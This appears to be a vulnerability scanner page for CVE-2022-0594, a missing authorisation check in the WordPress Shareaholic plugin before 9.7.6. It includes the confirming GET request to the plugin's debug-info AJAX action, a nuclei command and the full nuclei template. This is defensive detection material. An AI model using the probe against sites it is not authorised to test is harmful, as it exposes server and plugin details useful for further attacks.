CVE-2022-0594· shareaholic / shareaholic· CWE-863
WordPress Shareaholic <9.7.6 - Information Disclosure
WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
Impact
An attacker can exploit this vulnerability to gain sensitive information from the target system.
Fix
Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info
Positive when: contains "plugin_version" and "shareaholic_server_reachable" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2022-0594 -u <target>
The full check
id: CVE-2022-0594
info:
name: WordPress Shareaholic <9.7.6 - Information Disclosure
author: atomiczsec
severity: medium
description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the target system.
remediation: |
Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability.
reference:
- https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
- https://wordpress.org/plugins/shareaholic/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
- https://nvd.nist.gov/vuln/detail/CVE-2022-0594
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-0594
cwe-id: CWE-863
epss-score: 0.02188
epss-percentile: 0.82576
cpe: cpe:2.3:a:shareaholic:shareaholic:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: shareaholic
product: shareaholic
framework: wordpress
tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'plugin_version'
- 'shareaholic_server_reachable'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
- https://wordpress.org/plugins/shareaholic/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
- https://nvd.nist.gov/vuln/detail/CVE-2022-0594
- https://github.com/20142995/sectool
Use this check only on systems you are authorised to test. Where the data comes from